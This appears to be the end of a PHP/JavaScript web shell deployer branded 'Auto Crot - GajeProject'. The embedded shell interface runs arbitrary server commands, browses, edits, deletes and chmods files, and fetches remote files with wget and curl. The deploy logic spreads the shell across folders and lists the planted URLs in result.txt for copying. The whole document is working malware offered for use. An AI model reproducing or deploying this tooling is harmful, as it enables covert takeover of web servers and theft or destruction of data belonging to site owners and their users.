${errorFiles.length}</span> | <span>${pendingFiles.length} pending</span>`; const overallProgress = (uploadQueue.length > 0) ? Math.round((successFiles.length + errorFiles.length) / uploadQueue.length * 100) : 0; document.getElementById('overall-progress').style.width = overallProgress + '%'; fileListElement.innerHTML = uploadQueue.map((item, index) => `<div class="file-list-item"><div class="file-name">${item.file.name}</div><div style="font-size:0.8em;">${item.status === 'success' ? '✓' : item.status === 'error' ? '✗' : '...'}</div></div>`).join(''); } else { progressContainer.style.display = 'none'; statsElement.textContent = 'Ready to upload...'; fileListElement.innerHTML = ''; } } async function uploadAllFiles() { if (uploadQueue.length === 0) { showToast('No files to upload!', 'error'); return; } const pendingItems = uploadQueue.filter(item => item.status === 'pending'); if (pendingItems.length === 0) { showToast('No new files to upload!', 'error'); return; } const totalFiles = pendingItems.length; let completed = 0; for (let i = 0; i < pendingItems.length; i++) { const item = pendingItems[i]; await uploadSingleFile(item, i); completed++; } if (completed === totalFiles) { const successCount = uploadQueue.filter(f => f.status === 'success').length; const totalCount = uploadQueue.length; showToast(`Upload completed: ${successCount}/${totalCount} files`, 'ok'); loadContent(currentPath); uploadQueue = []; updateUploadUI(); } } async function uploadSingleFile(item, index) { const formData = new FormData(); formData.append('files[]', item.file); try { const response = await fetch(`?ajax=true&action=upload_multiple&d=${encodeURIComponent(currentPath)}`, { method: 'POST', body: formData }); const result = await response.json(); if (result.status === 'ok' && result.results[0] && result.results[0].status === 'ok') { item.status = 'success'; item.progress = 100; } else { item.status = 'error'; } } catch (error) { console.error('Upload failed:', error); item.status = 'error'; } updateUploadUI(); } // --- EVENT LISTENERS & INITIALIZATION --- document.addEventListener('DOMContentLoaded', () => { loadContent(' echo addslashes(get_path()); '); loadServerInfo(); initUploadZone(); document.getElementById('editor-form').addEventListener('submit', handleSave); document.getElementById('cmd-form').addEventListener('submit', handleCmd); document.querySelector('.container').addEventListener('click', handleActions); document.getElementById('create-file-btn').addEventListener('click', () => { const name = prompt('Enter new file name:'); if (name) doAction('create', {type: 'file', name: name}); }); document.getElementById('create-dir-btn').addEventListener('click', () => { const name = prompt('Enter new folder name:'); if (name) doAction('create', {type: 'dir', name: name}); }); document.getElementById('refresh-btn').addEventListener('click', () => { loadContent(currentPath); loadServerInfo(); showToast('Refreshed!', 'ok'); }); document.getElementById('wget-form').addEventListener('submit', (e) => { e.preventDefault(); const url = document.getElementById('wget-url').value; const filename = document.getElementById('wget-filename').value; doAction('upload_wget', { url: url, filename: filename }); e.target.reset(); }); document.getElementById('curl-form').addEventListener('submit', (e) => { e.preventDefault(); const url = document.getElementById('curl-url').value; const filename = document.getElementById('curl-filename').value; doAction('upload_curl', { url: url, filename: filename }); e.target.reset(); }); document.getElementById('raw-form').addEventListener('submit', (e) => { e.preventDefault(); const filename = document.getElementById('raw-filename').value; const content = document.getElementById('raw-content').value; doAction('upload_raw', { filename: filename, content: content }); e.target.reset(); }); const pathBarContainer = document.querySelector('.path-bar-container'); const pathBar = document.getElementById('path-bar'); const pathInput = document.getElementById('path-input'); pathBarContainer.addEventListener('click', (e) => { if (e.target === pathBarContainer || e.target === pathBar) { pathBar.classList.add('hidden'); pathInput.classList.remove('hidden'); pathInput.value = currentPath; pathInput.focus(); pathInput.select(); } }); pathInput.addEventListener('keyup', (e) => { if (e.key === 'Enter') { loadContent(pathInput.value); pathInput.classList.add('hidden'); pathBar.classList.remove('hidden'); } }); pathInput.addEventListener('blur', () => { pathInput.classList.add('hidden'); pathBar.classList.remove('hidden'); }); document.getElementById('home-btn').addEventListener('click', () => { const root = currentPath.includes('\\') ? currentPath.substring(0, 3) : '/'; loadContent(root); }); document.getElementById('up-btn').addEventListener('click', () => { if (currentPath.match(/^[a-zA-Z]:[\\\/]$/)) return; let path = currentPath.replace(/[\\\/]$/, ''); let separator = path.includes('\\') ? '\\' : '/'; let parentPath = path.substring(0, path.lastIndexOf(separator)); if (parentPath === '' && separator === '/') parentPath = '/'; if (parentPath.match(/^[a-zA-Z]:$/)) parentPath += '\\'; if (parentPath === '' && !parentPath.includes(':')) parentPath = '/'; loadContent(parentPath); }); // --- BULK ACTION LOGIC --- const selectAllCheckbox = document.getElementById('select-all'); selectAllCheckbox.addEventListener('change', (e) => { document.querySelectorAll('.file-checkbox').forEach(cb => { cb.checked = e.target.checked; }); updateBulkActionsButtons(); }); document.getElementById('bulk-delete-btn').addEventListener('click', () => { const selected = Array.from(document.querySelectorAll('.file-checkbox:checked')) .map(cb => cb.getAttribute('data-path')); if (selected.length > 0 && confirm(`Delete ${selected.length} selected items? THIS CANNOT BE UNDONE.`)) { doBulkAction('bulk_delete', { targets: JSON.stringify(selected) }); } else if (selected.length === 0) { showToast('No items selected!', 'error'); } }); document.getElementById('bulk-zip-btn').addEventListener('click', () => { const selected = Array.from(document.querySelectorAll('.file-checkbox:checked')) .map(cb => cb.getAttribute('data-path')); if (selected.length > 0) { const zipName = prompt('Enter name for the ZIP archive:', 'archive_' + new Date().toISOString().slice(0, 10) + '.zip'); if (zipName) { doBulkAction('bulk_zip', { targets: JSON.stringify(selected), zip_name: zipName }); } } else { showToast('No items selected!', 'error'); } }); document.addEventListener('change', (e) => { if (e.target.classList.contains('file-checkbox')) { updateBulkActionsButtons(); } }); function updateBulkActionsButtons() { const selectedItems = Array.from(document.querySelectorAll('.file-checkbox:checked')); const isDisabled = selectedItems.length === 0; document.getElementById('bulk-delete-btn').disabled = isDisabled; document.getElementById('bulk-zip-btn').disabled = isDisabled; } }); // --- MAIN AJAX ACTION HANDLERS --- function handleActions(e) { let targetElement = e.target.closest('[data-action]'); if (targetElement) { e.preventDefault(); const action = targetElement.getAttribute('data-action'); const target = targetElement.getAttribute('data-target'); switch(action) { case 'nav': loadContent(target); break; case 'delete': if(confirm(`Delete ${target}?`)) doAction('delete', {target}); break; case 'edit': openEditor(target); break; case 'chmod': const mode = prompt('Enter new octal mode (e.g., 0755):', '0755'); if (mode) doAction('chmod', {target, mode}); break; case 'rename': const newName = prompt('Enter new name:', target.split(/[\\\/]/).pop()); if (newName) doAction('rename', {old: target, new: newName}); break; case 'unzip': // NEW: Handle Unzip if (confirm(`Unzip ${target}?`)) doAction('unzip', {target}); break; } } } async function doAction(action, data) { const formData = new FormData(); for (const key in data) { formData.append(key, data[key]); } try { const response = await fetch(`?ajax=true&action=${action}&d=${encodeURIComponent(currentPath)}`, { method: 'POST', body: formData }); const result = await response.json(); showToast(result.message, result.status); if (result.status === 'ok') { loadContent(currentPath); loadServerInfo(); } } catch (error) { console.error('Action failed:', error); showToast('An error occurred.', 'error'); } } async function doBulkAction(action, data) { const formData = new FormData(); for (const key in data) { formData.append(key, data[key]); } try { const response = await fetch(`?ajax=true&action=${action}&d=${encodeURIComponent(currentPath)}`, { method: 'POST', body: formData }); const result = await response.json(); showToast(result.message, result.status); if (result.status === 'ok') { loadContent(currentPath); } } catch (error) { console.error('Bulk Action failed:', error); showToast('An error occurred during bulk action.', 'error'); } } async function openEditor(filePath) { try { const response = await fetch(`?ajax=true&action=get_content&file=${encodeURIComponent(filePath)}`); const result = await response.json(); if (result.status === 'ok') { document.getElementById('editor-title').textContent = `Edit: ${filePath.split(/[\\\/]/).pop()}`; document.getElementById('editor-content').value = result.content; document.getElementById('editor-file-path').value = filePath; document.getElementById('editor-modal').style.display = 'flex'; } else { showToast(result.message, result.status); } } catch (error) { console.error('Failed to open editor:', error); showToast('Could not load file content.', 'error'); } } function closeModal() { document.getElementById('editor-modal').style.display = 'none'; } async function handleSave(e) { e.preventDefault(); const filePath = document.getElementById('editor-file-path').value; const content = document.getElementById('editor-content').value; await doAction('save_content', {file: filePath, content}); closeModal(); } async function handleCmd(e) { e.preventDefault(); const cmdInput = document.getElementById('cmd-input'); const cmdOutput = document.getElementById('cmd-output'); const cmd = cmdInput.value; if (!cmd) return; cmdOutput.style.display = 'block'; cmdOutput.textContent = 'Executing...'; const formData = new FormData(); formData.append('cmd', cmd); try { const response = await fetch(`?ajax=true&action=cmd&d=${encodeURIComponent(currentPath)}`, { method: 'POST', body: formData }); const result = await response.json(); cmdOutput.textContent = result.output; cmdInput.value = ''; } catch (error) { console.error('Command execution failed:', error); cmdOutput.textContent = 'Error executing command.'; } } function loadContent(path) { currentPath = path; const folderList = document.getElementById('folder-list'); const fileList = document.getElementById('file-list'); document.getElementById('select-all').checked = false; folderList.innerHTML = 'Loading...'; fileList.innerHTML = '<td colspan="6" style="text-align:center;">Loading...'; fetch(`?ajax=true&action=list&d=${encodeURIComponent(path)}`) .then(res => res.json()) .then(data => { if (data.status !== 'ok') { showToast('Failed to load directory.', 'error'); return; } updatePathBar(data.path); // Folders Listing (Minimalist Text Actions) folderList.innerHTML = data.folders.map(f => { const isParent = f.name === '..'; return ` <td data-label="" style="width:30px;"> ${!isParent ? `` : ''} <td data-label="Name" colspan="4"><i class="fa-solid fa-folder"></i> <a href="#" data-action="nav" data-target="${f.path}">${f.name}</a> <td data-label="Actions" class="actions-menu"> ${!isParent ? ` <button title="Rename" data-action="rename" data-target="${f.path}">R</button> <button title="Delete" data-action="delete" data-target="${f.path}">X</button> ` : ''} `; }).join(''); // Files Listing (Minimalist Text Actions + Unzip) fileList.innerHTML = data.files.map(f => { const isZip = f.is_zip; const fileIconClass = isZip ? 'fa-solid fa-file-zipper' : 'fa-regular fa-file-lines'; return ` <td data-label="" style="width:30px;"> <td data-label="Name"><i class="${fileIconClass}"></i> ${f.name} <td data-label="Size">${f.size} <td data-label="Perms" class="perms ${f.is_writable ? 'writable' : 'not-writable'}">${f.perms} <td data-label="Modified">${f.mtime} <td data-label="Actions" class="actions-menu"> <button title="Edit" data-action="edit" data-target="${f.path}">E</button> <button title="Rename" data-action="rename" data-target="${f.path}">R</button> <button title="Chmod" data-action="chmod" data-target="${f.path}">C</button> <a href="?download=${encodeURIComponent(f.path)}" title="Download">D</a> ${isZip ? `<button title="Unzip" data-action="unzip" data-target="${f.path}">U</button>` : ''} <button title="Delete" data-action="delete" data-target="${f.path}">X</button> `; }).join(''); }).catch(err => { console.error("Failed to load content:", err); folderList.innerHTML = '<span style="color:var(--error)">Error loading folders.</span>'; fileList.innerHTML = '<td colspan="6" style="text-align:center;color:var(--error)">Error loading files.'; }); } function updatePathBar(fullPath) { const pathBar = document.getElementById('path-bar'); pathBar.innerHTML = ''; const isWindows = fullPath.includes('\\'); const separator = isWindows ? '\\' : '/'; const parts = fullPath.split(separator); let builtPath = isWindows ? '' : '/'; parts.forEach((part, index) => { if (part === '') { if(index === 0 && !isWindows) { const rootLink = document.createElement('a'); rootLink.href = '#'; rootLink.textContent = '/'; rootLink.className = 'path-part'; rootLink.setAttribute('data-action', 'nav'); rootLink.setAttribute('data-target', '/'); pathBar.appendChild(rootLink); } return; } if (isWindows && index === 0) { builtPath = part + separator; } else { builtPath += part + separator; } if(pathBar.children.length > 0) { const sep = document.createElement('span'); sep.className = 'path-sep'; sep.textContent = '>'; pathBar.appendChild(sep); } const partLink = document.createElement('a'); partLink.href = '#'; partLink.textContent = part; partLink.className = 'path-part'; partLink.setAttribute('data-action', 'nav'); partLink.setAttribute('data-target', builtPath); pathBar.appendChild(partLink); }); }</script>PHP;}// ---------------- Main Logic ----------------$urls = deployFolder($folderName, $files);// Pisahkan berdasarkan ekstensi$resultGroups = [];foreach ($urls as $url) { // pastikan parse_url berhasil, kadang fallback ke 'no_ext' $path = parse_url($url, PHP_URL_PATH) ?: ''; $ext = pathinfo($path, PATHINFO_EXTENSION); if (!$ext) $ext = 'no_ext'; $resultGroups[$ext][] = $url;}//result.txt$txtOutput = "";foreach ($resultGroups as $ext => $list) { $txtOutput .= "---$ext result----\n"; foreach ($list as $u) { $txtOutput .= "$u\n"; } $txtOutput .= "\n";}//savefile_put_contents(__DIR__ . '/result.txt', $txtOutput);<!DOCTYPE html><html lang="en"><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">Auto Crot - GajeProject<title>Auto Crot - GajeProject</title><style>body { font-family: monospace; background: #111; color: #f0f0f0; padding: 20px;}h2 { color: #ff0000; } /* Trash polka red */h3 { color: #0ff; margin-top: 20px; }.file-entry { margin-bottom: 5px; word-break: break-word; }button { margin-left: 10px; padding: 3px 8px; cursor: pointer; border-radius: 3px; border: none; background: #ff0000; color: #fff; font-weight: bold;}button:hover { background: #cc0000; }.copy-all { margin-bottom: 10px; padding: 5px 12px; background: #0ff; color: #000;}</style><script>function copyText(text) { navigator.clipboard.writeText(text).then(() => { alert('Copied!'); }, () => { alert('Copy failed'); });}// Copy all URLs per ekstensifunction copyAll(ext) { const urls = Array.from(document.querySelectorAll(`.group-${ext} .url`)).map(e => e.innerText).join("\n"); copyText(urls);}</script>

Deployment Complete!

<p>check: <strong>result.txt</strong></p> if (empty($urls)): <p>No deployment done. Check permissions or folder structure.</p> else: foreach ($resultGroups as $ext => $group):

--= htmlspecialchars($ext) result--

<button class="copy-all" onclick="copyAll('= htmlspecialchars($ext) ')">Copy All</button> <div class="group-= htmlspecialchars($ext) "> foreach ($group as $url): <div class="file-entry"> <span class="url">= htmlspecialchars($url) </span> </div> endforeach; </div> endforeach; endif; <hr><footer> <strong>Auto Crot</strong> — <strong>Gaje Project</strong>
<em>“6ickzone”</em></footer>